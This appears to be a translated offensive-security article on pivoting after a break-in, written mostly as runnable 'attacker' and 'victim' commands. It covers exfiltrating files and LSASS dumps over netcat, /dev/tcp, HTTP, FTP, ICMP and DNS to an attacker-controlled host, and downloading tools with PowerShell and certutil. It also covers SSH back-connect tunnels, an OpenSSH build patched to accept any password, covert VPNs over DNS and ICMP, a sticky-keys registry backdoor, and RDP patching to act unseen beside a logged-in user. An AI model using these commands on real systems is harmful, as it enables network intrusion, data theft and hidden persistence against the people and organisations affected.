Pivoting. Post-exploitation

The content of the article

File transfer (infiltration and exfiltration)
Exfiltration over TCP
Exfiltration over SMB
Exfiltration over HTTP
Exfiltration using FTP
Exfiltration with TFTP
Exfiltration via ICMP
DNS exfiltration
Ex-filtration plaintext
Port forwarding
Local port forwarding
Remote port forwarding
Bypassing two firewalls at once
dns2tcp
Proxying
3proxy
SSH
Use of proxy
VPN tunnels
VPN tunnel over TCP in one command (L3 tunnel)
VPN tunnel over SSH (L2 / L3 tunnels)
VPN tunnels on Windows
VPN tunnel over ICMP
VPN tunnel over DNS
GUI organization
Quick GUI session
Parallel RDP Access
Conclusions

Pivoting is one of the stages of hacking, when the attacker creates for himself a foothold in a compromised system, a bridgehead for further penetration. Today we will talk about the techniques that are used for this.

In many ways, post-exploitation is similar to “extreme administration” and has little to do with information security. But without this stage, not a single hack is complete, otherwise it is simply meaningless. In general, post-exploitation usually involves the following sequential steps:

evasion, bypass antivirus;
persistence, fixing (registering at startup, creating a service, and so on);
pivoting, access organization, pivot points;
privilege escalation, escalation of privileges;
gathering, data collection (passwords, documents, etc.);
lateral movement, horizontal movement (gaining access to other hosts);
other activities for managing a compromised OS (getting a GUI, installing keyloggers, port scanning);
covering up traces (cleaning logs, deleting created files).

The order of steps may be different each time, some of them may be missing altogether. For example, the same pivoting is not always needed. Each of the stages deserves a separate article, but today we will talk exclusively about pivoting.

Pivoting is mainly aimed at bypassing firewalls or other interference between attacker and victim, such as port filtering or NAT. And such problems can be solved not only by port forwarding or tunneling. The organization of the GUI in the Windows environment can also become a serious problem, since some programs do not have a console interface.

Pivoting can be encountered at any stage of an attack – from penetrating the internal network, when you need to overcome the limitations of the DMZ, to the moment when you have already obtained domain administrator rights and you need to get to a specially protected local network. We will try to use the least suspicious tricks so that we are not burned by antiviruses, and at the same time the most versatile – built-in commands or portable software. Let’s consider different cases of pivoting – with and without administrator rights. As usual, we use Linux on the attacking side.

INFO

The symbol #marks cases when administrative rights on the compromised OS are required.
By symbol $– cases when it is possible to run without administrator rights.

File transfer (infiltration and exfiltration)

The first problem an attacker encounters during the pivoting phase is file transfer. Sometimes you need to upload a privilege elevation exploit to a remote host, download a document, a memory dump, raise a proxy server, finally. The specificity of data transfer is due to the need to perform it exclusively with the basic means of the OS. There are several options here.

Exfiltration over TCP

A classic file transfer with netcat looks like this:

attacker> nc victim 1234 < file
victim$> nc -nv -lp 1234 > file

The same, but the reverse connection:

attacker> nc -nv -lp 1234 < file
victim$> nc attacker 1234 > file

The method is mainly Linux oriented. However, even on Linux, netcat is not always present. In this case, you can transfer files using bash:

attacker> nc -nv -lp 1234 < file
victim$> exec 3<> /dev/tcp/10.0.0.1/1234
victim$> cat <&3 > file

Of course, we can transfer files in the reverse order – from victim to attacker.

Exfiltration over SMB

The easiest way to transfer files under Windows. To quickly start the SMB server, we use the Python package impacket:

attacker> sudo smbserver.py ro /usr/share/windows-binaries/
victim$> copy \\attacker\ro\nmap.exe

Exfiltration over HTTP

And this is the easiest file transfer option for Linux. To quickly start the web server in the current folder, we use the built-in Python module:

attacker> python -m SimpleHTTPServer 8080
victim$> wget http://attacker/socat -O /tmp/socat

Often, HTTP is the only window into the world from the DMZ, and in Windows you have to use it too, and in different ways. The most versatile, but not the most beautiful, method looks like this:

victim$> hh.exe http://attacker/nmap.exe.txt
victim$> cd \users\victim\appdata\local\microsoft\windows\
victim$> dir /s nmap.exe*
victim$> cd путь_до_папки
victim$> move nmap.exe[1].txt nmap.exe

This method involves sending a file of any content, but with the extension .txt. If the remote host is running Windows 7 or later, it’s easier to use PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile('http://attacker/nmap.exe','C:\users\victim\desktop\nmap.exe')

In addition, if the host is running more or less fresh Windows 7, you can use a very useful utility, to which we will return more than once a bit later:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

In addition to the methods described, there are several other methods, including booting using VBS or PowerShell, but they are more cumbersome and rarely used in practice.

Exfiltration using FTP

This method works well for Windows in cases where SMB ports are filtered. Often in internal networks between VLANs, admins filter ports 445 / TCP, which adds to the attacker’s problems. You can get rid of them using the good old FTP protocol. To start the FTP server in the current folder, we use the Python package pyftpdlib:

attacker> sudo python -m pyftpdlib -p 21

Since the FTP program is interactive, you need to create a small script on victim with the commands:

victim$> echo open attacker 21 > ftp.txt
victim$> echo anonymous>> ftp.txt
victim$> echo pass>> ftp.txt
victim$> echo bin >> ftp.txt
victim$> echo GET nmap.exe >> ftp.txt
victim$> echo bye >> ftp.txt
victim$> ftp -s:ftp.txt

Please note: there is no space when transferring the login and password.

Exfiltration with TFTP

Quite an exotic way of transferring files, but it’s probably worth mentioning about it. You can use the classic atftpdpackage to start the TFTP server, or you can use the Python package ptftpd.

attacker> sudo ptftpd -p 69 eth0 .
victim#> pkgmgr /iu:TFTP; tftp.exe -i 10.0.0.10 GET nc.exe
victim$> tftp attacker get /nc

Exfiltration via ICMP

If all TCP is disabled, ICMP comes to the rescue. This method is suitable for exfiltration, that is, only for transferring data in one direction – towards the attacker. On Linux, this can be done relatively simply:

victim$> xxd -p -c 4 secret.bin | while read line; do ping -c 1 -p $line attacker; done

In the above example, we are only transferring 4 bytes per packet. For Windows, we use PowerShell and any of the heaps of ready made scripts on the Internet for this.

DNS exfiltration

If it comes to DNS, then everything is being filtered on the attacked host. Or almost everything. Any isolated internal network somehow interacts with the outside world – with the Internet, for example, to download updates or send e-mail. Therefore, DNS almost always works for resolving external addresses. Very often, no one bothers with compiling a white list of valid domains, so we get a completely working data transfer channel in both directions.

For exfiltration and infiltration via DNS, we will use ready-made scripts . It is assumed here and in all subsequent sections on DNS that we have delegated the zone to ourselves attacker.tk. Let’s start a custom DNS server:

attacker> sudo ./dns_upload.py --udp --file dnscat.exe

We remember the number of required DNS queries. To download a file via DNS, you need a small script on VBS, as it is the most portable and will work on any Windows. Before starting, do not forget to adjust the number of DNS requests in a cycle for. The script is run as follows:

victim$> cscript.exe dns_download.vbs

Despite the fact that we were able to download any file and can use ready-made solutions like dnscat , it happens that antiviruses ruin our lives when we just need to pick up some LSASS dump from a compromised machine. Therefore, we use similar scripts for exfiltration:

attacker> sudo ./dns_download.py --udp --file out.bin
victim$> cscript.exe dns_upload.vbs c:\path\to\secret.bin attacker.tk

Under Linux, we proceed as follows:

victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat

The DNS method works well for everyone, but is slow for large file transfers.

Ex-filtering of “plaintext”

It is almost always possible to transfer files in plain text. As a rule, if we have a shell, we can insert a large enough chunk of data into it using the clipboard. In this case, the data must be presented in text form. Sometimes too large portions of data cannot be transferred. Therefore, depending on the size of the transferred file, it should first be divided into pieces of the required sizes:

attacker> split -b $[1*1024*1024] nmap.zip

This will end up with n files of 1 MB each (as in the example), starting with x*. We will use Base64 as a transformation method:

attacker> base64 -w 0 < xaa > xaa.txt

On Linux, after the transfer is complete, the pieces of the file can be concatenated together:

victim$> for i in x*; do base64 < $i > $i.txt; done
victim$> cat x*.txt > nmap.zip

Done, the file is assembled from pieces. In Windows, things are not so simple, and there are different techniques for solving a similar problem. Here is the classic method, suitable for rare versions of Windows:

attacker> wine exe2bat.exe someprog.exe commands.bat

The resulting bat-file is ready-made commands entirely consisting of printable characters. To assemble from a textual representation (in this case, Hex) into a source binary, a built-in component is used debug.exe, which is present only in 32-bit versions of Windows from XP to 7 inclusive.

A more modern method that works on Windows 7-10 and similar server editions of Windows:

victim$> certutil -decode content_base64.txt nmap.exe

In each of the cases mentioned, we could face the fact that the file had to be cut into several pieces. To collect the resulting binaries into one file on Windows, you need to do the following:

victim$> type xaa.bin xab.bin xac.bin > 1.exe

And if, on the contrary, you need to upload large binaries from victim to attacker, for example a memory dump? The easiest way to cut the file would be using 7zip (which does not require installation and can be delivered to the machine using two files: 7z.exeand 7z.dll):

victim$> 7z a -v1m out.7z hugefile.bin

Then the resulting binaries can be Base64 encoded:

victim$> certutil -encode 1.bin 1.txt

And transmitted through the appropriate channel.

So, we figured out the problem of file delivery. Now we can transfer all the necessary programs that we need further. For Windows, we will give preference to portable versions. Under Linux it is supposed to use statically linked programs to avoid problems with library versions. Since not only the server can be compromised, but also some router or other device, it is desirable to have statically compiled binaries for different architectures, at least the most popular ones: x86, ARM and MIPS.

Port forwarding

Probably the easiest thing in pivoting is to forward a port somewhere. There are many options for such a forwarding. In fact, for simple port forwarding, the wonderful socat utility will suffice :

victim$> socat.exe tcp-listen:4445,fork tcp-connect:target:445

The socat program, by the way, is ported from Linux, so it can also be used there using absolutely the same syntax. In general, socat’s capabilities are much wider than a simple redirect. We will return to this utility later.

If the attacker has administrator or root rights on the compromised machine, then the redirect can be performed using the firewall. On Windows, this is done like this:

victim#> netsh interface portproxy add v4tov4 listenport=4445 listenaddress=victim
connectport=445 connectaddress=target

On Linux like this:

victim#> iptables -t nat -A PREROUTING -p tcp --dport 4445 -j DNAT --to-destination target:445

Local port forwarding

Speaking of port forwarding, SSH cannot be overlooked, which is a fairly flexible solution and is often used for this purpose. In fact, SSH does an unusual redirect. It creates tunnels, allowing connection reuse – forwarding a new network connection inside another already established one. It is noteworthy that both the server and the client can act as a link performing the forwarding.

We assume that an SSH server is running on victim, regardless of which OS is used there. The forwarding is done as follows:

attacker> ssh -N user@victim -L 4445:target:445

Remote port forwarding

Remote port forwarding differs from local forwarding only in that the procedure itself is performed from an SSH server. In this case, the forwarding direction will be opposite to the established SSH connection.

Remote port forwarding can be useful if you need to organize an exfiltration channel with a victim through an attacker. For example, to install the necessary packages by downloading them through a proxy on a compromised host isolated from the Internet. But more often Remote port forwarding is used if the SSH server is not running on the victim or the port is filtered. In this case, we can still forward the port with the attacker, but at the initiative of victim.

First, let’s start our SSH server and create a dummy account:

attacker> sudo /etc/init.d/ssh start
attacker> useradd -M -N -d /dev/null -s /bin/false proxy
attacker> passwd proxy

To log in non-interactively via SSH, we use the keys:

victim$> chown user priv_key
victim$> chmod 0400 priv_key

And now we create a forwarding using the back-connect scheme:

victim$> ssh -i priv_key proxy@attacker -N -R 4445:target:445 -o StrictHostKeyChecking=no

Probros according to the back-connect scheme

This can also help you bypass a firewall or NAT. On Windows, where you most likely will not find SSH servers, we will also have to use Remote port forwarding, using a portable client for this:

victim> plink.exe -N -l proxy -pw passwd -R 4445:target:445 attacker -P 22

As a result, we get a configuration identical to the one shown in the figure above. The picture shows that in the case of Local Port Forwarding, the client plays the role of forwarding, and in the case of Remote Port Forwarding, the server.

Working with metasploit, we can also perform forwarding using the connection between victim and attacker, that is, organize tunneling. To build a tunnel attacker: 4445 → victim → target: 445, do the following:

meterpreter> portfwd add -L 127.0.0.1 -l 4445 -r target -p 445

To organize the tunnel victim: 6666 → attacker → target: 8888, execute the following command:

meterpreter> portfwd add -R -L target -l 8888 -p 6666

Bypassing two firewalls at once

Attackers often have to deal with well-isolated VLANs, when the attacker and victim are on different networks behind a firewall or NAT and cannot directly establish connections in either direction.

No reverse shell or SSH tunnels will help us here. Alternatively, you can arrange access to the “third” host from a different VLAN, to which both can initiate a TCP connection.

Establishing a connection through a third host

Finding such a host is usually not a problem. Of course, this very third host also cannot overcome the firewall and reach the attacker or victim. To solve this problem, we will use the following trick:

third$> socat tcp-listen:5555 tcp-listen:6666
victim$> socat tcp-connect:third:6666 tcp-connect:target:22

Establishing a connection using an intermediate host

It is important to initiate the first connection to 5555/tcpbecause it socatperforms the second half of the socket operations ( tcp-listen:6666) after the connection is established tcp-listen:5555. As a result, it turns out that two incoming connections are connected through a pipe, and traffic can go through this pipe, bypassing two firewalls or NAT at once.

As a result, we got access to port 22 on the target machine, which was hiding behind a firewall.

dns2tcp

Now let’s consider a difficult, but still quite typical case: there is no Internet access from a compromised network. You will have to use DNS again.

The dns2tcp utility is available for Windows and Linux and uses a port forwarding syntax similar to SSH. On the server side, we specify the following settings for attacker in dns2tcpdrc:

listen = 1.2.3.4
port = 53
user = nobody
key = s3cr3t
chroot = /var/empty/dns2tcp/
domain = attacker.tk

Launch:

attacker> sudo ./dns2tcpd -F -d3 -f dns2tcpdrc

Copy the client side to the victim. To forward traffic along the route victim: 4444 → attacker → target: 5555, run the utility with the following parameters:

victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -L 4444:target:5555 8.8.8.8

To forward along the route attacker: 4445 → victim → target: 445, run the tool like this:

victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -R 4445:target:445 8.8.8.8

Now through this tunnel you can organize a proxy or forward a meterpreter session and forget about the absence of the Internet. Moving on.

Proxying

Port forwarding has one small limitation: it is a static operation, and we do a separate forwarding for each bundle ip:port. As a rule, this is only needed at the initial stage in order to bypass the firewall. But if you need to organize a more complete and convenient access to the network segment through a compromised machine, a proxy is used.

3proxy

In simple situations, there is nothing better than using 3proxy . The utilities from this set of programs are portable, they do not require installation and administrator rights. The tools work fine on both Windows and Linux and are easy to cross-compile. To start the SOCKS proxy server, use the following commands (under Linux and Windows, respectively):

victim$> ./socks -d -p3128
victim$> socks.exe -d -p3128

The following commands are used to launch the HTTP connect proxy server (under Linux and Windows, respectively):

victim$> ./proxy -d -p8080
victim$> proxy.exe -d -p8080

If the antivirus has eaten 3proxy, you can try the utility from the Nmap suite :

victim$> ncat.exe -vv --listen 3128 --proxy-type http

If it doesn’t help, then go to SSH.

SSH

Returning to SSH, there is one overlooked point that needs to be mentioned. If you are unable to gain root privileges on a compromised machine, a number of problems immediately arise. First, we must know the password for the current account, which is not always known. Secondly, if SSH is not running, then starting it will require root rights. All this, fortunately, can be fixed as follows:

attacker> git clone https://github.com/openssh/openssh-portable

We patch the functions responsible for authentication:

int auth_shadow_pwexpired(Authctxt *ctxt){
    return 0;
}
int sys_auth_passwd(struct ssh *ssh, const char *password){
    return 1;
}

Now we collect the tool – preferably statically, to avoid dependency problems:

attacker> autoreconf
attacker> LDFLAGS='-static' ./configure --without-openssl
attacker> make
attacker> ./ssh-keygen

Change the config slightly sshd_config:

Port 2222
HostKey /path/to/here/ssh_host_rsa_key

Copy and run the utility on victim:

victim$> $(pwd)/sshd -f sshd_config

Now the SSH server will be able to work as a proxy server without root rights and we will be able to log in to it with any password.

On Windows, where an SSH server is usually not available, freeSSHd can be used to act as a proxy. True, for this we still need administrator rights. FreeSSHd is a great alternative to 3proxy and meterpreter, when the antivirus prevents anything suspicious from running.

Let’s consider a typical example of passing a network perimeter. Imagine accessing the server from the DMZ. Only the necessary ports are usually forwarded to such servers, which means that we will not connect directly to the proxy. Remembering port tunneling:

victim$> ssh -N proxy@attacker -R 2222:victim:22

attacker:2222Will now be forwarded to victim:22. Through this tunnel, we will organize a proxy:

attacker> ssh -ND 127.0.0.1:3128 127.0.0.1 -p2222

If everything went well, then a SOCKS proxy on TCP port 3128 will appear on the attacker. In fact, this is a tunnel inside the tunnel.

If there are no problems with antiviruses, you can use Metasploit, it will be a little easier:

meterpreter> run autoroute -s 10.0.0.0/8
msf> use auxiliary/server/socks4a

We use a proxy

To use a proxy on the attacker’s side, we can:

specify the proxy address in the settings of a specific program (there is a minus – not all applications support proxies);
force any application to be proxied (this is called “soxification”).

Oxidation can be organized with the following command:

attacker> proxychains nmap -sT -Pn -n 192.168.0.0/24

This option is suitable for almost any application, even one that does not support proxy configuration, since it overrides library calls connect(), send()and recv(). However, there are nuances here: proxying is not supported by programs that generate packets via raw sockets or do not use the libc library (that is, statically compiled).

In addition, we can do transparent proxying, for which the redsocks proxy is used. To configure it, we prescribe the /etc/redsocks.conffollowing:

local_ip = 127.0.0.1;
local_port = 12345;
ip = 127.0.0.1;
port = 3128;

After that, you can start the proxy:

attacker> sudo iptables -t nat -A OUTPUT -p tcp -d 10.0.0.0/8 -j REDIRECT —to-ports 12345
attacker> sudo redsocks -c /etc/redsocks.conf
attacker> nmap -sT -Pn -n 10.0.0.0/24

Now we can directly send packets to the network of interest to us. Iptables will transparently intercept them and forward them to redsocks, which, in turn, will forward the packets directly to the proxy server. However, using raw sockets is still not valid because they are generated outside of iptables and routing.

Proxying does have some disadvantages:

only OSI layers above the fourth are proxied;
the speed of new connections is low – ports will be scanned slowly;
mostly TCP packets are proxied.

A full-fledged VPN tunnel will save us from all these problems.

VPN tunnels

VPN tunnels are designed to provide an attacker with full access to an internal network or an isolated VLAN and open an opportunity for further comfortable progress. All examples of using tunnels require administrator or root rights.

VPN tunnel over TCP in one command (L3 tunnel)

On Linux, we can very elegantly set up a tunnel without using a custom VPN server:

attacker> sudo pppd noauth pty 'nc -klp 5555'
victim#> pppd noauth persist pty 'nc attacker 5555' 172.16.0.1:172.16.0.2

The tunnel has been created. Now, to turn victim into a gateway, you need to do the following:

victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Done, from now on we can route traffic to the internal network as it is, using only routing:

attacker> sudo route add -net 10.0.0.0/8 dev tun0

It is worth noting that using pppd, we can create a tunnel at the initiative of any of the parties (victim or attacker). This means that we were able to work around the problems with firewalls. Requires kernel support (module ppp_generic) to work.

And here’s another way to set up a tunnel using IPIP:

attacker> sudo ip tunnel add tun0 mode ipip remote victim local attacker dev eth0
attacker> sudo ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
victim#> ip tunnel add tun0 mode ipip remote attacker local victim dev eth0
victim#> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2

VPN tunnel over SSH (L2 / L3 tunnels)

If the victim or attacker has an SSH server, then that is enough to create a VPN. First you need to allow connection to /etc/ssh/sshd_config:

PermitTunnel point-to-point

After that, you can create a connection:

attacker> sudo ssh -N tun@victim -w 0:0
attacker> sudo ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
victim#> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
attacker> sudo route add -net 10.0.0.0/8 dev tun0
victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

An L3 tunnel will be enough to organize access to the network. But if we want not just to scan ports, but to perform attacks such as ARP / NBNS / DHCP-spoofing, then we need an L2 tunnel. To do this, we prescribe in the /etc/ssh/sshd_configfollowing:

PermitTunnel ethernet

Restart the SSH server and connect:

attacker> sudo ssh root@victim -o Tunnel=ethernet -w any:any
victim#> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.70/24
attacker> sudo dhclient tap0

As always, you need to be very careful with L2 tunnels: due to the slightest mistake in creating bridges, the remote machine will go offline forever.

VPN tunnels on Windows

Windows also supports VPN out of the box (in the PPTP / L2TP variant). Moreover, you can control it from the command line thanks to the built-in component:

victim#> rasdial.exe netname username * /phonebook:network.ini

The config for network.inilooks like this:

[netname]
MEDIA=rastapi
Port=VPN9-0
DEVICE=rastapi
PhoneNumber=attacker

Disconnect VPN connections with the following command:

victim#> rasdial netname /disconnect

Don’t forget about the classic OpenVPN, which works great on both Linux and Windows. If you have administrator rights, its use should not cause problems.

Also, a rather exotic, but effective way of L2 tunneling on Windows through virtualization was described in my last article .

VPN tunnel over ICMP

If access to the Internet is prohibited, but pings are allowed, then you can use hans and create an L3 tunnel in two commands ( 172.16.0.1on the attacker and 172.16.0.10on the victim):

attacker> sudo ./hans -s 172.16.0.1 -p passwd
victim#> ./hans -c attacker -p passwd -a 172.16.0.10

The Windows client side works in a similar way, but requires a tap interface that can be created using OpenVPN.

VPN tunnel over DNS

Let’s go back to DNS for the last time. If resolutions of arbitrary domains are allowed in the DNS settings, which happens quite often, then using iodine we can create a full-fledged L3 tunnel ( 172.16.0.1on the attacker and 172.16.0.2on the victim):

attacker> sudo ./iodined -f 172.16.0.1 -P passwd attacker.tk
victim#> ./iodine -f -P passwd attacker.tk

VPN tunnels can be organized either directly between the attacker and the victim, or by a combination of different port forwarding techniques. For example, instead of the iodine DNS tunnel, we can use the combination DNS2TCP + pppd.

Summing up under this section, I would add that although the use of VPN tunnels provides comfortable access to the network, it is still not an obligatory stage in penetration. If this cannot be done easily, then wasting time on troubleshooting is inappropriate. Good old fashioned traffic proxying is almost always enough.

GUI organization

GUI programs create a lot of problems in post-exploitation. Although we always prefer the command line, the GUI cannot be completely eliminated.

In Linux, during post-exploitation, as a rule, a GUI is rarely required – almost all programs have a CLI interface, and the system usually acts as a server. And the OS itself offers quite flexible solutions for providing a GUI.

Another thing with Windows. The vast majority of programs simply do not have a console interface. Configuring the system is largely using the GUI. The same is true for some Windows hacking tools. On the one hand, Windows always has a built-in RDP for remote graphical sessions, but on the other hand, on client versions of Windows, which are the majority, using them will block the session of the current user. The user will start throwing out our session in response, and such a “swing” will eventually cause an alarm among security guards.

Quick GUI session

There is an old but trouble-free trick called sticky keys that lets you run programs without logging into Windows:

victim#> reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' /v Debugger /t reg_sz /d '\windows\system32\cmd.exe'

I recommend using this method precisely through the program launch handler, and not through file replacement cmd.exe→ sethc.exe, since antiviruses sometimes scorch this.

If suddenly RDP is disabled, you can do the following:

victim#> reg add 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f
victim#> sc config TermService start= auto
victim#> net start TermService
victim#> netsh.exe firewall add portopening TCP 3389 'Remote Desktop'
victim#> netsh advfirewall firewall add rule name='Remote Desktop' dir=in action=allow protocol=TCP localport=3389

Also, make sure there is no NLA on the remote machine:

victim#> reg add 'HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp' /v UserAuthentication /t REG_DWORD /d 0x0 /f

The described method is simple and beautiful – we connect via RDP and instead of logon, press Shift five times.

Connection via RDP with saving user session

This technique helped me out more than once when I needed to launch a GUI program.

But alas, it has a drawback: since a full-fledged RDP session is not created in this way when programs are launched, we will only have a couple of minutes until we fall off due to a timeout. Often this time is enough. But if not?

Parallel RDP Access

As mentioned, the main problem is not to block the session of the logged in user. There are several solutions for patching a service termserviceand removing restrictions on the number of concurrent sessions. The most proven option is rdpwrap . We patch RDP and make it multisession with one command:

victim#> RDPWInst.exe -i -s

The project, alas, does not support Windows XP, another solution will come in handy here :

victim#> termsrv_patcher.exe --patch

Now, using a temporary local or domain account, you can log in via RDP and open shortcuts on the victim’s desktop while he is working in his session and suspecting nothing:

attacker> rdesktop victim

Conclusions

Pivoting is a big stage in the post-exploitation stage. I have tried to highlight related tasks in chronological order:

file transfer;
port forwarding and bypassing firewalls;
gaining access to the network through a proxy or VPN.

Of course, there are more specific cases than those presented in the article. However, using the combinations of the presented techniques, you can come out a winner from any situation.

Insufficient pivoting can lead to an annoying failure, when a hack was made, the required rights were obtained, but the final goal was not taken due to some technical formalities – the attacker was behind NAT and could not accept the reverse shell or the program could not be launched due to the need GUI and the user was constantly logging out of the RDP session.

It can be seen that many pivoting tricks can be used without administrator or root rights.

There is a certain stereotype that after gaining access to the system, it is imperative to raise privileges. Yes, administrative rights are, of course, good. However, in my practice, there were two illustrative cases when the penetration occurred with both Windows and Linux, and without superuser rights. Quick attempts to elevate privileges did not lead to success, but was it really necessary? Even without administrative rights, the attacked systems could well be used to forward traffic to the internal network, where it is usually not so difficult to find a vulnerable component and gain full rights on it. As a result, in both cases, the domain controllers fell and the entire internal infrastructure was taken over.

Even one, the most insignificant RCE can lead to fatal consequences for the entire infrastructure, the entire business. No firewalls or other preventive measures can deter a hacker who has already managed to penetrate the network.